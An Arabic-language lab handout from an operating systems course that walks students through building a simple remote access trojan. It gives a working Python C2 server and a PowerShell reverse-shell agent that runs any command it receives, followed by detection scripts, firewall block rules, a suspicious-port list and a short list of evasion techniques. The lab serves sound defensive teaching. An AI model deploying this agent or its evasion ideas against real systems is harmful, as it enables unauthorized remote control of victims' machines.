مختبر 10.3: RAT بسيط مع مآخذ
الأهداف التعليمية
في نهاية هذا المختبر، ستكون قادرًا على:
- فهم بنية العميل-الخادم لأدوات التحكم عن بعد
- تطوير خادم C2 بسيط بلغة Python
- إنشاء عميل (وكيل) بلغة PowerShell
- فهم تقنيات الاتصال للبرمجيات الخبيثة
- اكتشاف وحظر هذا النوع من الاتصالات
المدة المقدرة
60 دقيقة
المتطلبات المسبقة
- إكمال مختبر 10.1 و 10.2
- 2 أجهزة افتراضية (مهاجم وهدف) على نفس الشبكة
- تثبيت Python 3 على الجهاز الافتراضي المهاجم
- PowerShell على الجهاز الافتراضي الهدف
السياق المهني
تُستخدم RAT (أحصنة طروادة للوصول عن بعد) و C2 (التحكم والقيادة) في:
- استخدامها من قبل فرق الاختبار الأحمر لمحاكاة الهجمات
- في قلب معظم البرمجيات الخبيثة الحديثة
- من الضروري فهمها للكشف
هذا المختبر يعلمك كيفية اكتشاف هذه التهديدات، وليس استخدامها بشكل ضار.
تحذير أخلاقي وقانوني حاسم
هذا المختبر تعليمي بحت
مسموح فقط:
- على أجهزتك الافتراضية المعزولة
- بدون اتصال بالإنترنت
- في إطار الدورة
ممنوع تمامًا:
- على الأنظمة غير المصرح بها
- مع اتصال بالإنترنت
- لأغراض ضارة
العواقب القانونية:
- الوصول غير المصرح به = جريمة (قانون جنائي)
- السجن وغرامات ضخمة
- سجل جنائي دائم
بمواصلة هذا المختبر، فإنك توافق على هذه الشروط.
الجزء 1: بنية C2
الخطوة 1.1: مكونات RAT
[خادم C2] [وكيل/عميل]
(مهاجم) (هدف)
| |
|<------ 1. اتصال --------->|
| |
|------- 2. أمر --------->|
| |
|<------ 3. نتيجة ----------|
| |
|------- 4. أمر جديد ----->|
| ... |
الخطوة 1.2: أنواع الاتصال
| النوع | الاتجاه | الميزة | العيب |
|---|---|---|---|
| Bind Shell | مهاجم -> هدف | بسيط | محظور بواسطة جدار الحماية |
| Reverse Shell | هدف -> مهاجم | يتجاوز جدار الحماية | يتطلب IP متاح |
| HTTP C2 | هدف -> مهاجم | خفي | أكثر تعقيدًا |
سنقوم بإنشاء Reverse Shell بسيط.
الجزء 2: خادم C2 (Python)
الخطوة 2.1: إنشاء الخادم
على الجهاز الافتراضي "المهاجم"، أنشئ serveur_c2.py:
#!/usr/bin/env python3
"""
خادم C2 تعليمي - لا تستخدم خارج المختبر
"""
import socket
import sys
def banner():
print("=" * 50)
print(" خادم C2 تعليمي - مختبر 10.3")
print(" الاستخدام: python serveur_c2.py <port>")
print("=" * 50)
print()
def start_server(port):
# إنشاء المأخذ
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server.bind(("0.0.0.0", port))
server.listen(1)
print(f"[*] الخادم يستمع على المنفذ {port}")
print("[*] في انتظار اتصال...")
# قبول اتصال
client, address = server.accept()
print(f"[+] اتصال مستلم من {address[0]}:{address[1]}")
print()
print("اكتب أوامرك (اكتب 'exit' للخروج):")
print("-" * 50)
while True:
# قراءة الأمر
command = input("C2> ")
if command.lower() == "exit":
client.send(b"exit\n")
break
if not command:
continue
# إرسال الأمر
client.send((command + "\n").encode())
# استقبال النتيجة
result = b""
while True:
chunk = client.recv(4096)
if not chunk or chunk.endswith(b"END_OF_OUTPUT\n"):
result += chunk.replace(b"END_OF_OUTPUT\n", b"")
break
result += chunk
# عرض النتيجة
print(result.decode('utf-8', errors='ignore'))
client.close()
except KeyboardInterrupt:
print("\n[!] إيقاف الخادم...")
except Exception as e:
print(f"[!] خطأ: {e}")
finally:
server.close()
if __name__ == "__main__":
banner()
if len(sys.argv) != 2:
print("الاستخدام: python serveur_c2.py <port>")
sys.exit(1)
port = int(sys.argv[1])
start_server(port)
الخطوة 2.2: تشغيل الخادم
python3 serveur_c2.py 4444
أسئلة:
- على أي منفذ يستمع الخادم؟
- ماذا يحدث إذا كان المنفذ مستخدمًا بالفعل؟
الجزء 3: وكيل/عميل (PowerShell)
الخطوة 3.1: إنشاء الوكيل
على الجهاز الافتراضي "الهدف"، أنشئ agent.ps1:
# وكيل C2 تعليمي - لا تستخدم خارج المختبر
# =====================================================
param(
[Parameter(Mandatory=$true)]
[string]$ServerIP,
[Parameter(Mandatory=$true)]
[int]$ServerPort
)
Write-Host "=== وكيل C2 تعليمي - مختبر 10.3 ===" -ForegroundColor Cyan
Write-Host "الاتصال بـ $ServerIP`:$ServerPort..." -ForegroundColor Yellow
try {
# إنشاء اتصال TCP
$client = New-Object System.Net.Sockets.TcpClient($ServerIP, $ServerPort)
$stream = $client.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
Write-Host "متصل بالخادم C2!" -ForegroundColor Green
Write-Host "في انتظار الأوامر..." -ForegroundColor Yellow
while ($true) {
# قراءة الأمر من الخادم
$command = $reader.ReadLine()
if ($command -eq "exit" -or $command -eq $null) {
Write-Host "قطع الاتصال..." -ForegroundColor Red
break
}
Write-Host "أمر مستلم: $command" -ForegroundColor Gray
# تنفيذ الأمر
try {
$output = Invoke-Expression $command 2>&1 | Out-String
if ([string]::IsNullOrEmpty($output)) {
$output = "[تم تنفيذ الأمر بدون إخراج]"
}
} catch {
$output = "خطأ: $_"
}
# إرسال النتيجة
$writer.WriteLine($output)
$writer.WriteLine("END_OF_OUTPUT")
}
} catch {
Write-Host "خطأ في الاتصال: $_" -ForegroundColor Red
} finally {
if ($client) { $client.Close() }
Write-Host "تم إنهاء الوكيل." -ForegroundColor Red
}
الخطوة 3.2: تشغيل الوكيل
.\agent.ps1 -ServerIP "192.168.100.10" -ServerPort 4444
استبدل IP بعنوان جهازك الافتراضي الخادم.
الجزء 4: اختبار الاتصال
الخطوة 4.1: تسلسل الاختبار
-
الجهاز الافتراضي الخادم: شغل الخادم
python3 serveur_c2.py 4444 -
الجهاز الافتراضي العميل: شغل الوكيل
.\agent.ps1 -ServerIP "IP_SERVEUR" -ServerPort 4444 -
على الخادم، اختبر الأوامر:
C2> whoami
C2> hostname
C2> Get-Process | Select-Object -First 5
C2> Get-Date
C2> exit
الخطوة 4.2: توثيق الاتصال
أسئلة: 3. هل يتم تنفيذ الأوامر على العميل؟ 4. هل تعود النتائج إلى الخادم؟ 5. كم يستغرق زمن الذهاب والإياب؟
الجزء 5: الكشف والدفاع
الخطوة 5.1: اكتشاف الاتصال
على الجهاز الافتراضي العميل، أثناء نشاط الوكيل:
# عرض الاتصالات القائمة
Get-NetTCPConnection -State Established |
Where-Object { $_.RemotePort -eq 4444 -or $_.LocalPort -eq 4444 } |
Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess
# تحديد العملية
Get-Process -Id (Get-NetTCPConnection -RemotePort 4444).OwningProcess
الخطوة 5.2: الكشف في السجلات
# أحداث اتصال الشبكة (يتطلب تدقيق نشط)
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 5156 # Windows Filtering Platform
} -MaxEvents 10 -ErrorAction SilentlyContinue
الخطوة 5.3: الحظر باستخدام الجدار الناري
# حظر الاتصالات الصادرة على المنفذ 4444
New-NetFirewallRule -DisplayName "Block C2 Port 4444" `
-Direction Outbound `
-LocalPort 4444 `
-Protocol TCP `
-Action Block
# التحقق من القاعدة
Get-NetFirewallRule -DisplayName "Block C2*"
# إزالة القاعدة (بعد المختبر)
Remove-NetFirewallRule -DisplayName "Block C2 Port 4444"
الخطوة 5.4: سكريبت الكشف التلقائي
# سكريبت الكشف عن الاتصالات المشبوهة
Write-Host "=== الكشف عن الاتصالات المشبوهة ===" -ForegroundColor Cyan
$suspectPorts = @(4444, 5555, 6666, 1337, 31337, 8080, 8443)
$connections = Get-NetTCPConnection -State Established | Where-Object {
$_.RemotePort -in $suspectPorts -or $_.LocalPort -in $suspectPorts
}
if ($connections) {
Write-Host "`n[تحذير] تم اكتشاف اتصالات مشبوهة:" -ForegroundColor Red
foreach ($conn in $connections) {
$proc = Get-Process -Id $conn.OwningProcess -ErrorAction SilentlyContinue
Write-Host " المنفذ: $($conn.RemotePort) | العملية: $($proc.Name) (PID: $($conn.OwningProcess))" -ForegroundColor Yellow
}
} else {
Write-Host "`n[حسنًا] لم يتم اكتشاف أي اتصال مشبوه" -ForegroundColor Green
}
# التحقق من PowerShell مع الاتصالات الشبكية
$psSessions = Get-NetTCPConnection | Where-Object {
$proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
$proc.Name -eq "powershell" -and $_.State -eq "Established"
}
if ($psSessions) {
Write-Host "`n[تحذير] PowerShell لديه اتصالات شبكية نشطة!" -ForegroundColor Red
$psSessions | Format-Table LocalAddress, LocalPort, RemoteAddress, RemotePort
}
أسئلة: 6. هل تم اكتشاف وكيلك؟ 7. هل يعمل الحظر بواسطة الجدار الناري؟
الجزء 6: التحسينات (مناقشة)
الخطوة 6.1: كيف تتجنب البرمجيات الخبيثة الحقيقية الكشف
تقنيات شائعة (للمعلومات فقط):
- استخدام المنافذ القياسية (80، 443)
- تشفير الاتصالات (HTTPS)
- إشارات غير منتظمة
- استخدام واجهات النطاق
- نفق DNS
الخطوة 6.2: كيف يرد المدافعون
- التحليل السلوكي (EDR)
- فحص SSL/TLS
- اكتشاف الشذوذ الشبكي
- استخبارات التهديدات
- تحليل الصندوق الرملي
سؤال: 8. كيف ستكتشف C2 يستخدم HTTPS على المنفذ 443؟
التنظيف
مهم: بعد المختبر، احذف الملفات:
# على الجهاز الافتراضي العميل
Remove-Item .\agent.ps1 -Force
# على الجهاز الافتراضي الخادم
rm serveur_c2.py
قم بإزالة قواعد الجدار الناري المضافة:
Remove-NetFirewallRule -DisplayName "Block C2*"
التسليمات
-
لقطات شاشة:
- الخادم في وضع الاستماع
- الوكيل متصل
- الأوامر المنفذة
- اكتشاف الاتصال
-
الإجابات على الأسئلة الثمانية
-
تحليل (صفحتان):
- بنية RAT
- نقاط ضعف هذا RAT البسيط
- كيف يمكن لبرمجية خبيثة حقيقية تحسينه
- طرق الكشف الموصى بها
معايير التقييم
| المعيار | النقاط |
|---|---|
| خادم/عميل وظيفي | 25% |
| اتصال قائم | 20% |
| الكشف مطبق | 25% |
| التحليل والفهم | 30% |
أوامر مرجعية
# الاتصالات
Get-NetTCPConnection -State Established
netstat -ano | findstr "ESTABLISHED"
# الجدار الناري
New-NetFirewallRule -DisplayName "Name" -Direction Outbound -LocalPort X -Action Block
Get-NetFirewallRule
Remove-NetFirewallRule -DisplayName "Name"
# عمليات الشبكة
Get-Process -Id (Get-NetTCPConnection).OwningProcess | Select-Object -Unique
# خادم Python
python3 serveur_c2.py 4444
# التحقق من المنافذ (Linux)
netstat -tlnp | grep 4444
ss -tlnp | grep 4444
موارد إضافية
الخاتمة
أظهر لك هذا المختبر:
- كيف يعمل RAT بسيط
- بنية العميل-الخادم لـ C2
- تقنيات الكشف
- أهمية مراقبة الشبكة
الهدف هو الفهم لتحسين الكشف والدفاع.
مختبر مطور في إطار دورة أنظمة التشغيل - الوحدة 10